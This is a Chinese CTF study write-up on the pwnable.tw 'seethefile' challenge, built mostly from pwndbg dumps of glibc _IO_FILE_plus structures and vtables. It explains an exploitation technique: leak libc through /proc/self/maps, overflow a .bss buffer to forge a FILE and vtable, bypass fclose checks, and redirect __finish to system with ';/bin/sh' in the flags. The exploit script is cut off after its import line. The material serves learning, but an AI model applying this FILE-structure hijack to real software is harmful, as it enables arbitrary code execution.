这篇文章主要是在简单的记录小猫在学习 IO_FILE 时候遇到的一些问题。借用 pwnable.tw 题目 seethefile
1 | p *(struct _IO_FILE_plus *)0x804c410 |
32 位程序:
-
# question
open 打开文件 fp,在未读取数据时候,plus_file 结构体中一部分数据是空的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36p *(struct _IO_FILE_plus *)0x804c410
$21 = {
file = {
_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x804c4a8,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x804c4b4,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xf7fb6ac0 <_IO_file_jumps>
}此时我们看到程序开始有一个很大的堆块
1
2
3
4
5
6
7
8
9
10pwndbg> heap
0x804c000 PREV_INUSE {
prev_size = 0,
size = 1033,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
不知道这块区域的具体作用,可能是缓存区当我们通过 fp 读取数据后,会在对快中开启一个新的空间来储存内容。上述堆块会被更新,内容是我们读入文件名,而 plus_file 的 read 以及 write 部分的指针会指向新开辟的堆块中的数据区域
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61pwndbg> p *(struct _IO_FILE_plus *)0x804c410
$22 = {
file = {
_flags = -72538984,
_IO_read_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_read_end = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_read_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_end = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_buf_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_buf_end = 0x804d570 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x804c4a8,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x804c4b4,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xf7fb6ac0 <_IO_file_jumps>
}
pwndbg> heap
0x804c000 PREV_INUSE {
prev_size = 0,
size = 1033,
fd = 0x74730a32,
bk = 0x7478742e,
fd_nextsize = 0xa,
bk_nextsize = 0x0
}
0x804c408 PREV_INUSE {
prev_size = 0,
size = 353,
fd = 0xfbad2498,
bk = 0x804c570,
fd_nextsize = 0x804c570,
bk_nextsize = 0x804c570
}
0x804c568 PREV_INUSE {
prev_size = 0,
size = 4105,
fd = 0x61616161,
bk = 0x61616161,
fd_nextsize = 0x61616161,
bk_nextsize = 0xa6161
}Q1:_IO_read_ptr 等几个指针有神吗作用?
分别对应什么函数功能?为什么修改后,fread 不起作用了
Q2:IO_buf_end -_IO_buf_base = 0x1000 为什么偏移量是 0x1000,内容堆块大小为 0x1008
-
# 分析 ——__IO_FILE_plusneide 一些内容
_flags FILE 结构体的一些状态;_markers 为指向 markers 结构体的指针变量,为一个单向链表结构,存放流的位置;_chain 变量为一个链表的指针,进程中创建的 FILE 结构体会通过这个变量连成一个单向链表;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107/*_IO_FILE结构体*/
/* libio/libio.h */
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _blksize;
int _flags2;
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
};
struct _IO_FILE_complete //新版本下已经被删除
{
struct _IO_FILE _file;
_IO_off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
};
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
pwndbg> p *(struct _IO_FILE_plus *)0x804c410
$22 = {
file = {
_flags = -72538984,
_IO_read_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_read_end = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_read_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_end = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_buf_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_buf_end = 0x804d570 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x804c4a8,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x804c4b4,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xf7fb6ac0 <_IO_file_jumps>
} -
# 回归题目,思路明确,溢出修改 fd 的 plus,调用 close 时调用 system,
下面时 vtable 的一些内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
get_column;
set_column;
};程序运行时的情况
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27pwndbg> p &_IO_file_jumps
$28 = (const struct _IO_jump_t *) 0xf7fb6ac0 <_IO_file_jumps>
pwndbg> p *(struct _IO_jump_t *)0xf7fb6ac0
$27 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0xf7e6d990 <_IO_new_file_finish>,
__overflow = 0xf7e6e3b0 <_IO_new_file_overflow>,
__underflow = 0xf7e6e150 <_IO_new_file_underflow>,
__uflow = 0xf7e6f230 <__GI__IO_default_uflow>,
__pbackfail = 0xf7e700c0 <__GI__IO_default_pbackfail>,
__xsputn = 0xf7e6d600 <_IO_new_file_xsputn>,
__xsgetn = 0xf7e6d210 <__GI__IO_file_xsgetn>,
__seekoff = 0xf7e6c4b0 <_IO_new_file_seekoff>,
__seekpos = 0xf7e6f4d0 <_IO_default_seekpos>,
__setbuf = 0xf7e6c2f0 <_IO_new_file_setbuf>,
__sync = 0xf7e6c1e0 <_IO_new_file_sync>,
__doallocate = 0xf7e618d0 <__GI__IO_file_doallocate>,
__read = 0xf7e6d5b0 <__GI__IO_file_read>,
__write = 0xf7e6d060 <_IO_new_file_write>,
__seek = 0xf7e6cda0 <__GI__IO_file_seek>,
__close = 0xf7e6c2c0 <__GI__IO_file_close>,
__stat = 0xf7e6d040 <__GI__IO_file_stat>,
__showmanyc = 0xf7e70250 <_IO_default_showmanyc>,
__imbue = 0xf7e70260 <_IO_default_imbue>
}因为当前版本还是 2.23,可以直接修改虚表,但是为了方便还是修改修改 fd 里面的指针,指向一个伪造虚表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...
.bss:0804B280 _bss ends
.bss:0804B280
.prgend:0804B284 ; ===========================================================================
.prgend:0804B284
.prgend:0804B284 ; Segment type: Zero-length
.prgend:0804B284 _prgend segment byte public '' use32
.prgend:0804B284 _end label byte
.prgend:0804B284 _prgend ends
.prgend:0804B284
extern:0804B288 ; ===========================================================================
extern:0804B288
extern:0804B288 ; Segment type: Externs
extern:0804B288 ; extern
extern:0804B288 ; char *strstr(const char *haystack, const char *needle)
extern:0804B288 extrn strstr:near ; CODE XREF: _strstr↑j
extern:0804B288 ; DATA XREF: .got.plt:off_804B00C↑o
extern:0804B28C ; int printf(const char *format, ...)
extern:0804B28C extrn printf:near ; CODE XREF: _printf↑j
extern:0804B28C ; DATA XREF: .got.plt:off_804B010↑o
extern:0804B290 ; int fclose(FILE *stream)
extern:0804B290 extrn fclose:near ; CODE XREF: _fclose↑j
extern:0804B290 ; DATA XREF: .got.plt:off_804B014↑o
extern:0804B294 ; __sighandler_t signal(int sig, __sighandler_t handler)
extern:0804B294 extrn signal:near ; CODE XREF: _signal↑j
extern:0804B294 ; DATA XREF: .got.plt:off_804B018↑o
extern:0804B298 ; unsigned int alarm(unsigned int seconds)
extern:0804B298 extrn alarm:near ; CODE XREF: _alarm↑j
extern:0804B298 ; DATA XREF: .got.plt:off_804B01C↑o
extern:0804B29C ; size_t fread(void *ptr, size_t size, size_t n, FILE *stream)
extern:0804B29C extrn fread:near ; CODE XREF: _fread↑j
extern:0804B29C ; DATA XREF: .got.plt:off_804B020↑o
extern:0804B2A0 ; int puts(const char *s)
extern:0804B2A0 extrn puts:near ; CODE XREF: _puts↑j
extern:0804B2A0 ; DATA XREF: .got.plt:off_804B024↑o
extern:0804B2A4 ; void exit(int status)
extern:0804B2A4 extrn exit:near ; CODE XREF: _exit↑j
extern:0804B2A4 ; DATA XREF: .got.plt:off_804B028↑o
extern:0804B2A8 ; char *strchr(const char *s, int c)
extern:0804B2A8 extrn strchr:near ; CODE XREF: _strchr↑j
extern:0804B2A8 ; DATA XREF: .got.plt:off_804B02C↑o
extern:0804B2AC ; int __cdecl _libc_start_main(int (__cdecl *main)(int, char **, char **), int argc, char **ubp_av, void (*init)(void), void (*fini)(void), void (*rtld_fini)(void), void *stack_end)
extern:0804B2AC extrn __libc_start_main:near
extern:0804B2AC ; CODE XREF: ___libc_start_main↑j
extern:0804B2AC ; DATA XREF: .got.plt:off_804B030↑o
extern:0804B2B0 ; int setvbuf(FILE *stream, char *buf, int modes, size_t n)
extern:0804B2B0 extrn setvbuf:near ; CODE XREF: _setvbuf↑j
extern:0804B2B0 ; DATA XREF: .got.plt:off_804B034↑o
extern:0804B2B4 ; FILE *fopen(const char *filename, const char *modes)
extern:0804B2B4 extrn fopen:near ; CODE XREF: _fopen↑j
extern:0804B2B4 ; DATA XREF: .got.plt:off_804B038↑o
extern:0804B2B8 ; void *memset(void *s, int c, size_t n)
extern:0804B2B8 extrn memset:near ; CODE XREF: _memset↑j
extern:0804B2B8 ; DATA XREF: .got.plt:off_804B03C↑o
extern:0804B2BC extrn __isoc99_scanf:near
extern:0804B2BC ; CODE XREF: ___isoc99_scanf↑j
extern:0804B2BC ; DATA XREF: .got.plt:off_804B040↑o
extern:0804B2C0 ; int atoi(const char *nptr)
extern:0804B2C0 extrn atoi:near ; CODE XREF: _atoi↑j
extern:0804B2C0 ; DATA XREF: .got.plt:off_804B044↑o
extern:0804B2C4 extrn __imp___gmon_start__:near ; weak
extern:0804B2C4 ; CODE XREF: __gmon_start__↑j
extern:0804B2C4 ; DATA XREF: .got:__gmon_start___ptr↑o
extern:0804B2C4
extern:0804B2C4
extern:0804B2C4 end _start我们产看内存空间发现,在 fp 后有足够多的空间来放我们的 fake_file(虽然 filename 也很大,但是文件名只可以读取 63 字节). 所以我们将 file 放在此处,同时伪造的时候要注意如何跳过 fclose 的一些检查:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
_IO_acquire_lock (fp);
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
else
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
_IO_release_lock (fp);
_IO_FINISH (fp);
//可以看到当_IO_IS_FILEBUF位为0时,函数不会执行_IO_un_link和_IO_file_close_it函数,而直接执行_IO_FINISH函数。在_IO_FINISH函数中会直接调用vtable中的__finish函数。其中_IO_IS_FILEBUF被定义为0x2000。_flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp);对于不同的函数,检查可能时不一样的,这就需要libc源码分析了。
//此外还有其他的绕过方法
//这里我并不清楚这些绕过都是什么,待后续学习
1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
//或者是
2.
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)
flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
所以flag的值可以为0xfbad8000 或者0xfbad8080
//unlink与io_FILE_plus 联合使用https://www.jianshu.com/p/1e45b785efc1在执行 fclose 时会执行 unlink 等一些操作,同时会 free 我们开启的 fp 堆块以及储存数据的堆块,如果因为这两个堆块都比较大,检查是否与 topchunk 相邻,然年进行 free, 因为储存数据的堆块与 topchunk 相连,而且其在 file 堆块前释放,所以两个都会合并到 topchunk.fclose 会对 file_plus 的数据进处理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36pwndbg> p *(struct _IO_FILE_plus *)0x804c410
$2 = {
file = {
_flags = -72539124,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
_fileno = -1,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x804c4a8,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x804c4b4,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xf7fb6ac0 <_IO_file_jumps>
}继续我们上述的绕过检查,我们修改其的相关参数后释放
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
600x804c408 PREV_INUSE { //IO_FILE_plus 堆块
prev_size = 0,
size = 353,
fd = 0xf7fb77b0 <main_arena+48>,
bk = 0xf7fb77b0 <main_arena+48>,
fd_nextsize = 0x804c570,
bk_nextsize = 0x804c570
}
0x804c568 {
prev_size = 352,
size = 4104,
fd = 0x61616161,
bk = 0x61616161,
fd_nextsize = 0x61616161,
bk_nextsize = 0xa6161
}
0x804d570 PREV_INUSE {
prev_size = 0,
size = 129681,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> p *(struct _IO_FILE_plus *)0x804c410
$5 = {
file = {
_flags = -134514768,
_IO_read_ptr = 0xf7fb77b0 <main_arena+48> "p\325\004\b",
_IO_read_end = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_read_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_ptr = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_write_end = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_buf_base = 0x804c570 'a' <repeats 14 times>, "\n",
_IO_buf_end = 0x804d570 "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fb7cc0 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x804c4a8,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x804c4b4,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 39 times>
},
vtable = 0xf7fb6ac0 <_IO_file_jumps>
}可以看到,此时只是对 file 堆块进行了释放,而没有对其数据进行清空,io_read_ptr 变为了 main_arena, 这是因为其加入了 unsortedbins, 但是这块是或否执行了 unlink 操作呢?但是我们看到了储存数据的堆块并没有进行 free 操作。这里这样操作,如果存在 UAF 是否可以实现泄露数据呢?
泄露地址的操作,在进行数据泄露的时候除了程序的内存表,还可以利用环境的相关内容。通过打开 /proc/self/mmap 这个虚拟文件来获取当前进程的地址空间情况,
整体思路:1. 泄露 libc 地址,获取 system 函数的真实地址
2. 利用 fp 后面的 bss 伪造 file_plus 的结构体()这部分内存全是空的
1 | name:0x0, //0x20字节 |
调用_IO_FINSH (fp),_IO_FINISH (fp) 相当于调用 fp->vtabl->__finish (fp),此时实际上执行的 system (fp);
因此此时的 fp 指针其实就是 system 的参数,虽然 fp 并未直接指向 "/bin/sh", 但是 system 解析指令的时,无法解析 0xffffdfff,便会继续向后检查,这里除了写”;bin/sh“, 话可以有”||/bin/sh“, 覆盖后面的指针也问题不大
# 补充,后来复现在这个题的时候,发现通过上面的伪造方式,是无法实现 vtable 指针的改写,是因为数据过长后,到了 bss 下面的区域,这块区域会将数据清空,而且我们在改的过程中,还有一个值得注意的地方,就是 io_file 里面 的_offset 变量,一定要是我们 fp 指针的 + 4 偏移
1 | from pwn import * |
总结:这个文章内容比较多,但是重点就在与 io_file_plus 以及虚表的使用,有时候较低的版本可以不去伪造 vtable, 而时可以直接修改 vtable 的数据,但是当下的新版本不在可以。对于不同的函数有不同的利用姿势。、